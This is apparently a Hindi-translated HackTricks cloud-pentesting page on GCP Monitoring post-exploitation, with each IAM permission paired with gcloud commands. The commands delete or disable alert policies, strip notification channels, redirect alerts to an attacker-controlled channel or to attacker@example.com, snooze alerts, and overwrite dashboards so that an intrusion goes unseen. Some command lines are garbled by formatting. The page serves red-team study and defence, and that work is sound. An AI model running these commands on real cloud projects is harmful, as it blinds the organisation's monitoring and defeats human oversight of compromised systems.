GCP - Monitoring Post Exploitation

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Monitoring

अधिक जानकारी के लिए देखें:

GCP - Monitoring Enum

लॉग बाधित करने के अन्य तरीकों के लिए देखें:

GCP - Logging Post Exploitation

monitoring.alertPolicies.delete

एक अलर्ट पॉलिसी हटाएँ:

अलर्ट पॉलिसी हटाएँ ```bash gcloud alpha monitoring policies delete ```

monitoring.alertPolicies.update

अलर्ट पॉलिसी को बाधित करें:

अलर्ट पॉलिसी बाधित करें ```bash # Disable policy gcloud alpha monitoring policies update --no-enabled

Remove all notification channels

gcloud alpha monitoring policies update –clear-notification-channels

Chnage notification channels

gcloud alpha monitoring policies update –set-notification-channels=ATTACKER_CONTROLLED_CHANNEL

Modify alert conditions

gcloud alpha monitoring policies update –policy=“{ ‘displayName’: ‘New Policy Name’, ‘conditions’: [ … ], ‘combiner’: ‘AND’, … }”

or use –policy-from-file

</details>

### `monitoring.dashboards.update`

इसे बाधित करने के लिए dashboard को संशोधित करें:

<details>

<summary>Dashboard को बाधित करें</summary>
```bash
# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
displayName: New Dashboard with New Display Name
etag: 40d1040034db4e5a9dee931ec1b12c0d
gridLayout:
widgets:
- text:
content: Hello World
'''

monitoring.dashboards.delete

डैशबोर्ड हटाएँ:

डैशबोर्ड हटाएँ ```bash # Delete dashboard gcloud monitoring dashboards delete ```

monitoring.snoozes.create

snoozer बनाकर पॉलिसियों द्वारा अलर्ट्स जनरेट होने से रोकें:

अलर्ट्स रोकने के लिए snoozer बनाएं ```bash # Stop alerts by creating a snoozer gcloud monitoring snoozes create --display-name="Maintenance Week" \ --criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \ --start-time="2023-03-01T03:00:00.0-0500" \ --end-time="2023-03-07T23:59:59.5-0500" ```

monitoring.snoozes.update

जब attacker रुचि रखता हो तो alerts बनना रोकने के लिए किसी snoozer का timing अपडेट करें:

snoozer timing अपडेट करें ```bash # Modify the timing of a snooze gcloud monitoring snoozes update --start-time=START_TIME --end-time=END_TIME

odify everything, including affected policies

gcloud monitoring snoozes update –snooze-from-file=

</details>

### `monitoring.notificationChannels.delete`

कॉन्फ़िगर किए गए चैनल को हटाएँ:

<details>

<summary>नोटिफिकेशन चैनल को हटाएँ</summary>
```bash
# Delete channel
gcloud alpha monitoring channels delete <channel>

monitoring.notificationChannels.update

चैनल के लेबल को अपडेट करके इसे बाधित करें:

नोटिफिकेशन चैनल लेबल अपडेट करें ```bash # Delete or update labels, for example email channels have the email indicated here gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com ```

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें